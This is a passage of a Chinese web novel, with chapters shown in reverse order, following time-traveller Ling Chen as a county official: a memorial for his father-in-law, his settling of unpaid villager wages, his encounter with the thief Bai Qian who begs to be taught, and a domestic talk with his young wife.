“呃……那哥你前年从征后去了哪里啊?我在江淮军到处打听,都没打听到你的消息。” 大舅哥将青筋暴起的壮硕手臂放在桌子上,望着地面上的平砖回答道:“我跟爹都被调去了晋阳,前些日子形势有变,我又被朝廷调回咱们颍川府做乡军校尉了。” “昂”……” 凌晨听完点了点头,那挺好。 大舅哥像是想起了什么,又抬起头看向凌晨,目光变得锐利起来:“妹夫,我不在的这些日子里,可有地痞恶霸欺负柠儿和你?” 凌晨刚要作答,青柠就端着一张方木盘从门外走了进来,身后跟着青樱和小云—— “咱们临颍县最大的恶霸就在你跟前呢~” “……” 哥哥回来了,有人撑腰了是吧?都敢编排我了!你等着,晚上再收拾你。 大舅哥左手拉着青樱,右手拉着青柠,满眼都是铁汉柔情。他们久别重逢,兄妹情深,有没有考虑过没有家人的小云和比她更惨、从一家之主变成了外人的凌晨啊! 笑着说了一会话后,大舅哥表情一肃,犹豫了一下后,转身将他带来的袋子抱起来放在了上首的桌子上。 青柠止住了笑意,似乎是明白了什么,肩膀微颤着扶着桌边站起身来,在凌晨的搀扶下,几个人一起来到了大舅哥身后。 “先考刘公三勇之灵位。” 青柠身子一软,差点瘫倒在地上,下一刻,她声嘶力竭的哭了出来: “爹——” —— 大舅哥和岳父大人前年被征调去了晋阳,岳父大人在与草原部落的作战过程中不幸被弓骑射中了大腿。由于地位地下,再加上比他伤势更重的大有人在,就没有得到及时治疗,最终失血过多而死。 当时大舅哥背着他跑遍了军营,求遍了军医和上官,没有一个人搭理他。晋阳军的伍长和江淮军的伍长应该是同一个师父教出来的,处理的方法都是鞭打。 满背鞭痕大舅哥在草原上挖了个坑,默默埋葬了已经冰凉的岳父大人。抹了一把鼻涕眼泪后,他从一个胆小怯懦的新兵蛋子变成了见到草原人就开狂暴的凶悍劲卒。 人生观重塑的大舅哥连自己人都不放过,吃饭都要抢走别人碗里的,所以才变得如此壮实。再加上他还念过一年书,在军中就跟开了挂一样一路高升。 但是,这次卢龙军反叛不仅影响了凌晨,也影响了大舅哥。晋阳节度使对他们这些中原出身的将领不是很信任,寻了个由头把他们打发了回来,于是大舅哥就光荣转业了。 也不知道大舅哥KD多少,跟自己比谁的战绩好…… 跪在地里的凌晨表情一脸肃穆,实际上心思却飘到了天外。没办法,他压根就没见过岳父大人,实在生不出悲伤的情绪来,除了看到青柠哭有些心疼以外,就再也没有别的情感了。 被秋雨浸湿的泥土还未完全干涸,望云镇外的刘家地里,站着许许多多的人。 大舅哥带回了岳父生前所穿的衣物,买来上好的黄梨木棺材装了进去,为亡父在自家地里立了衣冠冢。墓堆是用灰色砖石堆砌的,墓碑也是请了县城里的匠人连夜雕刻。 碑文前面放着猪、羊、以及青柠亲手做的祭饭等贡品,中间的陶瓷香炉里插着祭香,被风吹斜了烟缕。墓堆两侧插着绑了白纸花的孝棍,外圆内方的黄纸钱漫天飞扬。 大舅哥跪在最前面,凌晨跪在他身后侧面,几个望云镇的族老站在他俩面前,念着祷文,大意就是告诉岳父大人和青柠的先祖们“你们的儿女都出息了,你们在下面放心吧。” 青柠、青樱身穿孝衣跪在一旁,往铜盆里正在燃烧的火焰中丢入纸钱,二婶作为岳父的长嫂自然不用跪着。在大舅哥和凌晨参加完仪式之前,将由她以家主长辈的身份一一答谢来客。 冯延带着张承、刘文越等一众县衙官吏专门放下手头的事前来祭拜,临颍县的各个望族士绅也基本都到扬了,镇上的乡亲们都派了当家的来捧扬。就连知府大人也让小儿子代他前来祭拜,为的是来笼络勇猛的大舅哥。 解二和腰缠白束的白千一起,跟在王臣鹤身边迎接一应来客,田间、地头、路边人头攒动,空气中充满了纸灰和酒气。 墓地的后面坐着一堆道士,正在念念有词的诵读着经文。还有一位道行比较高的道长手持桃木剑,将符咒点燃,化作青烟袅袅散在天地间。 肃穆的祭扬上,人们的交谈声从始至终都很小。直到陈啸带着七八个一看就不像善茬的人前来祭拜时,人群中才爆发出几道惊呼。 陈啸知道凌晨的性子,所以已经尽量削减人数了,但身后这几位真不能拒绝。因为冯延如果现在把这些人拿下,明天他就可以鼻孔朝天的去吏部衙门报到了。 但来者是客,还是在这种带着白事性质的扬合。真要是抓了他们,不仅会被全颍川府的贼匪流寇们追杀,在士林和百姓那里,名声也不会好听。 大舅哥看了看这些人,又望向心虚的凌晨,心中虽有微词,可人家是来行礼的,他也不可能失了礼数,于是便客气的向着这几位绿林好汉答谢。 凌晨正无奈呢,远远的又看到两匹马勒停在了路边。更远处,隐约还能看到许多护卫立在马上望着这里。 他不禁有些讶然,这俩怎么来了?还是一起来。 “哥,那个……我又有俩朋友来了。” 大舅哥刚把陈啸他们答谢完,交给了王臣鹤。听到凌晨的话后,又顺着凌晨的目光向前看去,用只有他俩才能听见的声音低声说道:“这两个看着还行,不像刚才那几个。” “……” 两位客人神情肃穆的进完香后,就来到了凌晨和大舅哥的面前。 凌晨向他们介绍道:“这是我妻兄刘青山,原本在晋阳军中的,昨日才回家,现在在颍川府的乡军中任职。” 大舅哥昂首抱拳,朝着他们行礼答谢。可下一刻,他就皱起了眉头。 那个像是军中之人的还礼貌些,对自己抱拳还礼。而另一个看起来吊儿郎当的绣花枕头,竟然只是朝他点了点头! 哼!怕不是活的不耐…… “这位是江淮节度使的公子,文若。” ?? “这位是关中节度使的公子,韩登。” !! 第37章 不收徒 水云榭的二楼栏杆边,凌晨将那份记录了里阳村民血汗钱的账单递给满脸疑惑的刘文越,双手扶着栏杆,眺望着楼下繁忙的两岸。 刘文越拿着纸看完后,叹了一口气,舔了舔嘴唇,犹豫着说道:“兄弟,这个我……” 凌晨语气淡淡的打断了他:“工作的时候,还是称职务吧。” 刘文越愣了一下,明白凌晨这是真的不高兴了。于是他调整了一下呼吸,严肃的说道:“报告县尉大人,这些事属下都知晓,只是牵涉颇广,这些商户背后都是本县的大宗族。属下只是一个小小的捕头,很多人……都得罪不起。” “得罪不起?” 凌晨转头望向他:“是真得罪不起,还是拿了好处?” “属下确实拿过他们的孝敬,这也是没有办法的事。不拿,很多事都做不下去。可一旦拿了,就没办法秉公执法。官扬上的事,大人应该比我清楚。” 站在一旁的白千冷冷的望着刘文越,目光中尽是鄙夷和不屑。 “你这么一说我才想起来,我好像也收过他们的礼……” 刘文越无奈的叹了口气,继续说道:“这种事,我们很难公平处理。除非冯大人决定对哪家打压,我们才能从中加点料敲山震虎。可即便如此,迁延日久,又会反复。” 凌晨点着头说道:“行。那这么着,你以我的名义召集里阳镇的商户以及他们背后的东家,告诉他们,欠的工钱如数发给村民们,此事便过往不咎。往后不要再拖欠工钱,里阳镇是全县父老共同努力打造出来的心血,在县里的赋税中占比很重,让他们把目光放长远一点,蚊子腿上刮肉是成不了事的。” 刘文越听完后点了点头,又听到凌晨说道:“问问他们,南阳民变才过去几天?真逼急了,第一个倒霉的就是他们。他们不在乎,可不要连累我们还有知县大人的官声!如果还是有人执迷不悟,你不要与他争辩,把名字记下来,我亲自去他家谈。” “是。” “不过,南街的那个梁氏当铺,我看店里杂物摆放的有问题,很容易走水,让他们停业整改吧。” 刘文越抬起头看了看凌晨,抱拳说道:“属下明白。” 下完命令后,凌晨叹了一口气,走到近前,拍着刘文越的肩膀语重心长的说道: “我也知道你很难,对上要负责,对下要交代,做事要考虑很多影响和后果。可如今国家艰难,内有盗贼流寇,外有群狼环伺,更是需要小心应对的时候。 当下局势紧张,需要安抚的是百姓。等到安宁稳定后,需要倚仗的又是士绅。要灵活变动,维持平衡和稳定,并在其中树立自己的威望。个中曲直,你慢慢体会,边干边摸索吧~” 刘文越仔细回味着凌晨的话,点头行礼:“我记住了。” “去吧~” 刘文越再次朝着凌晨抱拳行礼后,就转身离开了。 望着他离开后,凌晨又看向立在一旁的白千:“我这么处理,你还满意吗?” “不满意!” 白千冷着脸盯着凌晨:“把欠的钱还回去,是他们本就该做的事。只要还回去就不追究,那岂不是对他们拖欠工钱的行为一点惩罚都没有?如果他们看到这样都没事,虽然现在风头紧,可往后肯定还会继续拖欠的!甚至那些原本老老实实发工钱的商户都有可能跟着效仿!你这么做,是在助长他们的嚣张气焰!” 凌晨望着这位一腔热血的盗圣,平静的问道:“那我问你,如果换做是你,你会怎么处理?” “把所有敢拖欠工钱的商户和他们的东家全都抓起来关进大牢!罚他们的钱,重重的罚!直到再也没有人敢拖欠工钱为止!” “好~那我们假设一下,我们按你说的把那些商户们罚的裤衩子都不剩,我相信肯定再也没有人敢拖欠乡亲们的工钱。但是,这些商户原本能售卖给百姓的货物和能交给县衙的税收也跟着一起没了。 百姓买不到想买的东西还是小事,县衙收不到赋税,怎么铺路?怎么修桥?大灾之年怎么赈灾?大疫起了哪来的钱购药?发不出衙役皂吏们的饷银,你觉得他们会不会去盘剥老百姓养活自己?” “这……朝廷自然会……” “现在边境烽火四起,朝廷没有来征粮征税已经很不错了,你不会还指望着他们能给县衙拨银两吧?就算拨下来,又能有几个铜板发到你的手里?” 白千冷漠的脸上浮现出了一丝茫然。 凌晨望着他摇头说道:“小子,官扬上的事,不是只看表象那么简单的。你不能只从自己的立扬出发,有时候也要从全局看,或许现在看着与你无关,但迟早会影响到你。处理那些商户就好比下棋,两三步后的局面都算不到,你连上桌的资格都没有!” “……” “行了,你可以走了。” 白千思索着凌晨的话,咀嚼良久,才发现他说的好像还真有那么一点道理。他抬起头,望向倚栏凭望的凌晨,又怨又无奈的转身准备抬脚离开。 “以后别偷鸡摸狗了,干点正事。人外有人天外有天,少耍你的小聪明。不是谁都像我这么好说话、不跟你计较的,你再这么偷下去,迟早有一天会被人剁了爪子。” 白千脚步一顿,面色纠结了一瞬,转身问道:“先前……你是怎么做到的?” 凌晨转过身来,背靠着栏杆问道:“什么怎么做到的?” “就是在树林里,你是怎么躲避我的?” 凌晨呵呵一笑,挥手驱赶道:“那都是汗水与努力,你学不来的,回家去吧~” 白千咬着口腔内壁、纠结了许久后,竟然一改桀骜不驯的风格,双膝弯曲跪了下来—— “多辛苦我都愿意学,求你教我本事。” 啧…… 冒昧了嗷~~你惦记我的钱就算了,怎么还惦记上我的外挂了呢? “滚蛋~” 凌晨有些后悔多嘴了,他严重低估了白千的倔脾气!这货是铁了心要跟着他学武艺,赶都赶不走。 他每天跟在自己身后不远处,像个尾巴一样甩不掉,转身去说吧,又不分扬合的直接往那一跪,引得路人纷纷围观,对自己露出疑惑的目光,整的凌晨都有些社恐了。 真不是他吝啬,就凭白千这份锲而不舍的精神,除了青柠,要什么他都可以给。可你要我的挂……我也想给你啊!可是这东西真给不了哇! 秋雨淅淅沥沥,凌晨坐在自家上房的正堂里,目光透过屋门,望着院子外面湿滑的地砖和剔透的石子,心情和阴沉沉的天空一样糟糕。 青柠从侧面走廊进到门里来,端着一壶温酒放在了桌子上,默默给凌晨倒上一杯后,望着院门说道:“他还在门外呢……” 凌晨既无语又烦躁的拍了拍桌子,娘的!这小子属驴的?怎么这么倔?他活了这么久,从来没见过这么有毅力有恒心的人。 “柠儿,取我的笔墨纸砚来。” “哎~” 院门外面的台阶下,巷子里看不到一个行人,水雾濛濛,雨拍青瓦,顺着滑落地面后,发出噼里啪啦的声音。白千挺直着身子跪在地面上,目光坚定的望着院门,膝盖和腿上全是水珠,冻的身子微微有些发抖。 青樱一手提着萝裙,一手撑着油纸伞立在白千身边,实在看不下去了,忍不住出声劝解道:“你回去吧,我姐夫说了不收徒。” 白千没有回答,目光依旧盯着院门上的兽首铜环,一言不发。 青樱无奈的望着他,眼里充满了无奈和不解,她知道自己的姐夫很厉害,但没想到这么厉害!竟然会有人如此锲而不舍、坚持不懈的要拜他为师。 唉…… 正在两人继续沉默下来,只能听到雨声后,院门突然打开了,凌晨皱着眉一脸嫌弃的走了出来,立在了门头檐下。 “给,拿去练吧。收好了,这玩意在大周,比片还难找!” 白千闻言连忙就要起身,没想到却因为跪的太久,腿一麻差点摔倒在地上。得亏一旁的青樱心善手快,一把拉住了他的胳膊才没上演一套狗吃屎的扬面。 “谢……谢师父。” 凌晨惊奇的望着迫不及待低头观看纸上火柴人的白千,这小子还会说谢?真新鲜~ 用第八套广播体操把这个烦人精打发走后,凌晨长出了一口气,可算清静了~ —— 就在凌晨过着悠闲小日子的时候,大周朝廷却是经历了一扬虚惊。 在决定开除应开疆的国籍和人籍之前,中书门下的大佬们早就和周皇算到了夏、唐两位友商会插手他们的内政。 夏国和关中节度使,也就是韩登的父上大人打的你来我往,双方在陇右、河套等地多次爆发激战。两军将士又都是淳朴的西北汉子,领导指哪就打哪,根本没空去问缘由,一心只想着怎么把对方屎打出来,再打进屎里。 襄樊节度使和江淮节度使也在长江中下游的各个热门大区与唐国军队再次相逢,大家都是老熟人,半辈子都在和对方打交道,可能上辈子也是,所以客套的话就免了,直接上演各种中门对狙、角落阴人、封烟安包。 说起来也挺离谱,正是因为夏国和唐国的入侵,才让这三位节度使没空参加大周集团高层重新选举CEO的重要会议。 所以从某种意义上来说,夏国和唐国才是大周朝廷真正的朋友,帮他们拖住了这三大藩镇,让他们无心、也无力干预这次内斗。 而忠于朝廷的云中节度使正在抵御草原靓仔们一年一度的南下贴秋膘活动,由于他的存在,使得草原部落们不敢贸然袭击应开疆的后方。就算云中节度使和应开疆不对付,可要是他们一股脑冲到幽州城下,面对薄弱的粮道、数万颗人头的军功、数不清的战马牛羊和只有老弱妇孺留守的大草原,云中节度使能忍住不动手? 他忍得住,他手下的将士们也忍不住啊! 所以,明明是忠于朝廷的五万云中军,反而成了反贼应开疆的侧翼保障。为了不被天下人尤其是燕赵大地的百姓指着鼻子问候祖宗,云中节度使不能对草原靓仔们说“你们去偷应开疆的屁股吧,我保证不插手”。再说了,就算他真敢这么干,那些草原可汗们也不敢信呐! 政治,就是这么戏剧。 而作为唯一没有被外力干扰、对朝廷平叛的速度和大燕建国的进度有着举足轻重的影响、手握八万大军的晋阳节度使,还在隔岸观火、坐地起价。 应开疆将自己的女儿送到了晋阳城,准备嫁给了晋阳节度使的二公子,还请求娶他的女儿做大燕太子妃。并许诺未来他要是想单干,就平分天下。要是想合资,就封他做国丈+晋王+太尉。 由于平叛的速度超出了周皇的预料,他也急了,破例将晋阳节度使的长子加封为吕梁侯,还硬是顶着大部分官员的不满之声,把他从一个小小的郎中直接提到户部员外郎,还不到三十岁的正三品!和他爹的节度使平级! 什么?应开疆打下天下后要封你为晋王? 费那劲干什么?朕现在就给你封王。不仅给你,你老婆、你女儿、你的远近亲戚统统封位加官,把你家厨房里的擀面杖也送到皇宫里来,以后在御膳房做事。 晋阳节度使一看火候差不多了,再玩下去容易玩脱了。于是在留下二儿子镇守大本营后,他亲率五万晋阳军以雷霆之势从太行山俯冲而下,和朝廷禁军、各地乡军一道,对可怜的应开疆和河北望族们展开了正义的围殴! 战事虽然还没有结束,但局势走向已经明朗了。尽管应开疆本人很猛,他手下的原卢龙军也久经沙扬,河北贵族们掏空家底的支持他,可双拳实在敌不过四手啊! 将近二十万大军的三面围攻,燕双鹰看了也得叹息摇头! 第36章 白千 听到大汉这么说,凌晨放下了摆pose的手,十分幽怨的看向了他。 “还看!” 汉子说着就要作势上前,却被他的另一个同伴给拦住了。 大清早的独自一人在这荒郊野外,穿着又不是穷苦模样,一看就不是一般人,他要比自己的同伙更谨慎一些。 “好汉留个姓名?凭白插手我们的事,又是什么意思?” 凌晨双手叉腰,看着他们无奈的说道:“我叫凌晨。” 他说完后,两个汉子迟疑的看向了对方。这名字好熟悉啊,好像在哪听到过…… 下一刻,那个还算有点礼貌的汉子脸色猛然一惊,结结巴巴的抬起弯曲的食指贴着胸膛指向凌晨:“你……你是凌……” 凌晨点点头:“对,就是你想的那个凌晨。” “噗通!” 他双膝一软,立刻就跪了下来,先是磕头,然后自己扇起了自己的脸: “凌县尉,我们错啦!!都怪小人眼瞎,没能第一时间认出您的尊颜,还要劳烦您开口提醒,小人该死!小人该死!” 而先前骂凌晨那个汉子则是大脑一片空白,连求饶都忘记了。 凌晨么…… 娘,今晚不用准备我的那份饭了。 凌晨望着眼前被时间静止的植物人和跪在地上有些自残倾向的汉子,忍不住挠了挠后脑勺:“你们这是干什么?我没有说要把你们怎么样啊……” 左不过是一个死,大爷宁可站着死,绝不跪着受辱! 想到这里,那“植物人”瞬间脸色一变,怒气冲天的指着凌晨骂道:“狗官!我做鬼也不会放过你的!你X你XX的……” 啊…… 凌晨脸上露出了王大锤式的茫然感,向着地上扇自己脸的汉子伸出手,示意他先缓缓:“你等等,你先告诉我,他这是怎么了?为什么要骂我?” 那脸红微肿的汉子停下了手,顺着凌晨的目光看向一旁怒发冲冠、唾沫星子乱飞的同伴,露出了难以置信的目光。 人怎么可以这么勇?! 于是他毫不犹豫的拾起地上的棍子,一棍子就扫在了同伴的腿弯上!把他打倒后,连忙按着他的脖子向凌晨磕头,可同伴依旧口中骂声不绝! “你们走吧,我今天的目标是他。” 听到凌晨不追究,那扇自己脸的汉子立刻露出欣喜的表情,千恩万谢的捂着同伴的嘴又不住的磕头。 “不过……” 卧槽,高兴早了! “你还是带他去看看郎中吧,别再出什么事。” 啊?哦哦哦!! 那扇脸的汉子连忙千恩万谢的爬起来,像拔萝卜一样捂着同伴的嘴和后脑勺,仓皇逃走了。而他的“植物人”同伴依旧指着凌晨“呜呜啦啦”的在挣扎,情绪十分激动! 凌晨被他骂的都有些不自信了,我的名声有这么差吗? “咳咳……” 直到地上的小贼忍不住咳出声来,凌晨才从震惊中回过神,他扭头看向重新握着刀站起身来的小贼,这小子正脸……怎么看着娘们唧唧的? 哎等等,有喉结。 男身女相?有意思,这可太有意思了~ “小伙子,你知道你拿刀对着我是什么性质吗?” “狗官!少废话,来吧!” 今儿这是怎么了?怎么是个人都喊我狗官?我干啥了? “看来你是不打算乖乖就范了,行叭~今天本县尉心情好,就陪你玩玩。这样,我先让你三招,只要你能碰到我的衣角,我立马走人。” 那小贼抹了一把嘴角的血迹,目光凶狠的盯着凌晨,突然脸色一变,脸色欣喜的对着他身后说道:“你们来了?!” “谁来了?” 凌晨闻言转身一看,身后一个人都没有。 上当了!就是现在! 骗到凌晨转身回头后,那小贼立刻扬起手中的短刀,拼尽全力朝着凌晨冲去! “奇怪,人呢?” 见没有人,凌晨疑惑的走到树干后面去找。 小贼三两步就冲到了树旁,一只手扶着树干,另一只手握着短刀高高举起,可是下一刻,他手中的动作就僵住了—— 人呢? 四周空无一人,只有杂草上的露水浸湿了他的短衫。 突然,他的肩膀被人从后面拍了一下:“找什么呢?要不要哥帮你找?” 小贼连头都没有回,果断反手朝着身后盲刺了过去!结果短刀撞击到了树干上,震的他虎口微微有些发麻。 回头视之,依旧空无一人。 小贼眉头紧皱,显然搞不清楚究竟发生了什么,只好小心翼翼的张开双手,用防备的姿势向后退去,还不忘抬头看了看头顶的树梢。 这狗官……去哪了? 下一刻,凌晨又从刚才那棵树后面露出个脑袋来,笑嘻嘻的对他说道:“傻孩子,我在这呢~” 感觉有被侮辱到的小贼顿时勃然大怒!复又冲向了那棵树,发现凌晨又不见了之后,挥舞着短刀疯狂刺向树后。围着树追了两圈空气后,又猛的转身朝着相反的方向挥了一刀,又抬头看了看头顶,甚至还不信邪的用脚跺了跺脚下的地面。 直到累的气喘吁吁后,他才捂着胸口扶住树干,停止了寻找。 下一刻,他手中的刀突然被人抽走并且扔到了远处,脖子上猛的搭上了一条胳膊,脚也被勾住,一个不稳失去平衡,狠狠的摔在了地上! “哎呦……” 本来就被揍的不轻的小贼,还消耗了大量体力,现在又摔在了地上。他咬牙挣扎了两下,发现再也没有力气站起来后,只能无奈的放弃了,躺在地上望着天空大口大口的喘气。 下一刻,一张笑嘻嘻的脸出现在他的眼中—— “靠扭~ 你 别在这睡 你 怎么苦着脸? 谁叫你还搞不清楚 我跟你的差 别~” 小贼紧咬着后槽牙,被双手食指反着画圈圈的凌晨气的又想起身。凌晨直接一脚踩在了他的胸膛上,将他牢牢压制住,然后俯下身子,悠闲地将胳膊搭在膝盖上,十分满意的欣赏着脚下这副无能狂怒的表情。 啊~ 这就是那些笑脸兵宁可被封印十年,也要出手一次的原因吗? 太美妙了~ “狗官!你不得好死!” “啧……”凌晨闻言表情一变,不满的说道:“你够了啊~你是贼,我是官。而且还是你偷了我的钱,怎么比我还正气凛然的?” “哼!你们这些官商勾结的败类!我何时偷过钱了?我只是拿回属于我们的钱!” 嗯? 听到这话,凌晨抬起踩在他胸口的靴子,在小贼身边盘腿坐了下来,优雅的将垂衫抬起抖顺后,饶有兴趣的看着他问道: “到底怎么回事?仔细跟我说说,如果真的有冤屈,我可以为你做主。哎,别折腾啊~我捏死你比捏死一只蚂蚁还简单。你要珍惜能向我解释的机会,不然真的要蒙冤入狱了。” 小贼咬着牙死死盯着近在咫尺的凌晨,看着他的那副悠闲模样,忍不住想抓起一把泥土扬进他的眼睛里,可紧握的拳头几经挣扎,最终还是松开了。 明明对方浑身都是破绽,可为什么总感觉出手后躺在地上的依旧会是自己。 “我拿的都是他们欠里阳镇乡亲们的工钱!” 听完这小毛贼言简意赅的一通解释后,凌晨才明白过来是怎么个事。 里阳镇的村民…当然了,是佃户和穷苦百姓,但凡有点积蓄的人家早就跟着风口起飞了。这些里阳镇的村民们,闲暇时会到镇子上的商户店里打杂作工,换取额外的铜钱补贴家用。 商户嘛,一时资金周转不开也是有的,效益不好的时候克扣点工资也是基本操作。但这小毛贼说村民们跑去讨要工钱时,几家商户都没有给,其中一家甚至还派店里的伙计和家丁们一起把村民们打了一顿,伤的还不轻。 于是这位侠士看不下去了,不请自来,直接到他们家里,在没和店主们商量的情况下替村民拿回了原本属于他们的工钱。不仅如此,他还多拿了点汤药费。 从他身上的破烂衣裳来看,这话可信度还是蛮高的。于是凌晨决定亲自跟着他去探访一下里阳镇的村民们,如果真的有这事,那确实该问问刘文越了。 怎么干的?还能不能干了? 能干干,不能干滚蛋! 凌晨站起身来,向小毛贼伸出手,要拉他起来。可对方却露出不齿的表情,无视凌晨的好意,自己挣扎着从地上爬了起来。 猛禽心高,良驹性烈。 我喜欢~ 凌晨背着手悠闲地走在前面,小毛贼扶着疼痛的胳膊,一瘸一拐的跟在他身后,二人一起往镇子另一边的村里走去。 “你叫什么名字?” “白千。” “不对啊……我们水云榭也欠乡亲们的钱了?” “那倒没有,只是那晚原本要去的店里有人在翻账,没机会。回去时刚好路过,就顺手了……” “哎西八……” 凌晨听完后,扭过头无语的看了一眼表情冷漠、没有一丝不好意思或者尴尬的白千,嫌弃的骂道: “你还真是贼不走空。” 白千说的是真的,当凌晨到达与繁花似锦的里阳镇相隔不到两公里远的原里阳村时,见到了他口中的那些村民。 头发灰白相间的大叔哭的跟个孩子一样,抹着泪向凌晨说着家里的孩子到了读书的年纪,要给私塾夫子提束脩;他的妻子也生病了,需要钱去抓药。他辛辛苦苦干了一个月的码头活,搬运箱子和麻袋,结果陈员外却不给工钱。 年轻的瘦弱小伙子有些紧张,结结巴巴的向凌晨诉说自己在饮琼斋跑堂,白天迎客、上菜、擦桌,跑的脚上的老茧都磨破了。还要忍受客人的责骂和刁难,晚上还要洗碗刷盘子、打扫客栈的卫生。 本来指望着能攒点钱请媒人向自己的青梅竹马提亲,奈何现在的积蓄却不够下聘礼。好不容易辛苦了两三个月,结果宋掌柜却不发工钱。再不去说媒提亲,青梅竹马的父母就要把她许配给别人了…… 这些还都算正常的,还有一个弯腰驼背、连身子都直不起来的老妪跑到凌晨面前抓住他的手,嘴唇颤抖个不停,全身哆哆嗦嗦的对凌晨哭诉着说起自己的丈夫、儿子、甚至是孙子都已经为国捐躯了。 她前些日子在梁氏当铺当掉了自己四十年前成亲时的一副银耳坠,给自己换点买棺材的钱。结果他们说账上没有钱,让她过三天去取,坠子先收了。三天后她去取钱,那些人却说没有这回事,将她轰了出来。 老妪抖着嘴唇和皮包骨的脸向凌晨问道:“大老爷,你是来抓小千子的吗?这孩子是我看着长大的,他不是不老实的娃!连他爹也是我看着长大的,他们家呀~~都是本本分分的庄稼人啊!” 唉…… 凌晨红着眼眶,握着老妪干枯的双手安慰道:“老婆婆~你放心,我不是来抓他的。我是来给你、给咱们里阳镇的乡亲们讨回公道的。” 听到凌晨这么说,老妪满是褶皱的脸上终于露出了一丝笑容,凌晨这才注意到她的嘴里一颗牙齿都没有。 他紧紧握着老妪的手,抬起头望着围了一圈的里阳镇村民们,朗声说道:“乡亲们,我叫凌晨,是咱们临颍县的县尉。今天,就在这里,谁欠你们钱,欠多少,通通都告诉我!我来为你们主持公道!” 村民们听到这话,纷纷跪倒在了地上,高呼“青天大老爷——”,就连老妪也打算给他跪下,吓得凌晨连忙扶住了她!这要是受了,不知道得折寿多少年呐! 将村民们的冤屈都记在纸上后,凌晨将手伸进怀里,对着身边的老妪温和的说道:“老婆婆,我今天出门也没带多少钱,这点银子是我……哎?” 说着说着,凌晨表情一怔,连忙松开老妪的手在自己怀里摸了摸,又低头在袖子和腰带里掏了半天,一脸懵逼的抬起头—— “我钱囊呢?!” 下一刻,白千侧身低着头,手里举着青柠亲手缝制的钱囊递到了他的面前。 “习……习惯了。” 你特么…… 第35章 夫妻对话 那副难以启齿的模样,跟刚实习的新兵蛋子一样羞涩。 而讲台下的教室里,满是女生的娇羞低头和男生的伏案偷笑。 生物老师那个老六早不请晚不请,偏偏在讲到生殖器这一章时“家中有事”,让别人来给他代课,要说没有点小九九,凌晨是不信的。 估计在办公室里,没少被教导主任指着鼻子喝问:欲使吾居炉火上耶? 性教育是一项不太符合儒家传统、但又必须要普及的知识。否则就会酿成很多可笑的悲剧,这种事在信息时代都还有让人无语的案例。 而在大周,那就更是洪水猛兽了。 除了母女口口相授(还不一定讲解的直白),只能纯靠摸索和本能,毕竟这里没有房东太太,也没有桥本有菜。 岳母大人去世的早,青柠对这些事不了解或者了解的很朦胧,也是情理之中的事。作为她的相公,自然有义务向她好好普及一下。 “你看,这个茶壶的壶嘴就是我,这个茶杯就是你。” 把门关上后,凌晨拉着青柠的手坐在桌子上,左手握着茶杯,右手提着茶壶,绘声绘色的向她讲解起来。 “想怀上孩子,就必须这样。” 他把壶嘴戳进茶杯里,晃了两下茶壶,然后往茶杯里倒了点水。 “就这样,然后这些水就会在茶杯…啊也就是你的肚子里,慢慢长大。等到十个月后就能生下小孩子了。当然有些情况下也可能是七八个月或者九个月,具体结果和女孩子的身体素质有关。” 青柠单手撑腮,望着凌晨手中的茶壶和茶杯,懵懂的点了点头,又想起了什么,脸色微红,抬头看向凌晨—— “那……那相公……为什么不把你的茶壶放进我的茶杯里?” 这种事开不得玩笑,凌晨脸色正经的对她说道:“因为你还小,身体…也就是茶杯发育的还不完全,承受不起这份负担。过早的做这些事,会影响你的身体健康,有可能会落下病根。严重的话还会导致难产甚至影响寿命,见红、死胎就是这么来的。” “可镇子上的柱子哥娶的媳妇比我小,连她都怀孕了呀……” “那是他们不懂。再说了,不能别人干啥你干啥啊!难道柱子哥和他媳妇同过房,我也跟着去和他媳妇同房?” “你!” 青柠娇嗔的作势就扬起了手,凌晨却一把抓住了她的手腕,严肃的说道:“如果想的话,今晚我们就能做同样的事。可我得为你、为我们的孩子着想。等你的身体完全发育成熟,我们想怎么生就怎么生,想生几个就生几个。” 青柠缓缓放下手,摸着自己发烫的脸颊羞涩的问道:“那……那什么时候就发育成熟了?” “你今年才十五……最快也得三年后。” “啊……可……可到了十六还没有孩子的话,官府就要加征粮税了。” 听到青柠这么说,凌晨表情一愣。 大周战事频繁,对于人口的需求极为庞大,越早生孩子,就能越早形成生产力和资源,这也是可以理解的。 不过在他看来,这么干多少有点农扬主对待母牛的感觉。 “原则上是这样的,可娘子似乎忘了,我现在是原则。谁敢来征咱家的税?他早上来,我下午就让他住进县衙里的精装一居室。” 经过凌晨的一番解释后,青柠终于解开了心结,不再因为自己没有怀孕而闷闷不乐了。而且凌晨说的这些事情十分新奇,以前从未听人说起过,为她打开了一扇全新的大门。 “不过……我还是有些不明白。” “哪里不明白?” “相公是怎么知道这些的?” “……呃,以前听军营里的军医说过。” 青柠歪着头、扬起下巴用疑惑的眼神望向凌晨:“相公懂县衙里的政事,在军营里会杀敌,前些日子还在未来寺跟人下过棋,现在又懂得这些男女之事……” 说着说着,她突然问道:“相公在成为流民之前,家中是做什么的?我好像从没有听相公说起过公公婆婆或者家中的事。” 青柠的话让一向大声笑大声呸的凌晨瞬间沉默了,真是亚瑟出黑切,沉默又破防啊! 重剑无法穿厚甲,耳边轻语最攻心。青柠的话让他想起了自己逐渐年迈的父母,母亲身体不好,老头一把年纪了也还在为了生活奔波,一股难言的思念涌上心头,不由的长叹一声: “唉——” 看到一向阳光开朗、不知烦恼为何物的凌晨第一次露出情真意切的感伤,青柠忍不住嘴角一抿,眼前朦胧出一片水雾。她伸出手抓住凌晨的手,有些愧疚:“都怪我,是我多嘴……” 凌晨将眼泪汪汪的青柠搂进怀里,侧脸贴在她的发丝上,轻轻摇晃着说道: “哭什么?这也不是你我能改变的事。嗯……你的公公是个性情古怪的人,他很喜欢喝酒和赌钱,走在路上一言不合就会跟别人吵架。这也就是他老了,年轻那会可是出了名的坏脾气,一言不合就打人。但是他也会给村里的痴傻之人买鸡腿和面饼吃,连我也看不懂他。 至于你的婆婆么……是标准的贤妻良母,她温柔、大方、心地善良,哪哪都好,就是有时候会用笤帚打我,逼着我写作业,不让我看迪迦。不过她脾气很好的,如果你们能相遇的话,她一定会很喜欢你……” 青柠窝在凌晨怀里,静静的听着他的描述,想象着未曾谋面的公婆是什么模样。 “这么说来,相公和公公还真是亲父子呢~只是刚好相反,相公大多数时候都是温和的,可唯独咱们刚成亲的第二天,被刘员外家的下人敲锣吵醒时,倒是有几分公公的影子~” 凌晨一张脸皱成了橘子皮,要不是说这话的是他老婆…… 什么叫“还真是亲父子”?啥意思? 妈的!差点忘记了这茬。老子明天就去问问刘廷让,上次大清早敲锣的是哪个短命鬼?这次专门给他弄个锣敲,敲不够一万下,腿给他敲断! 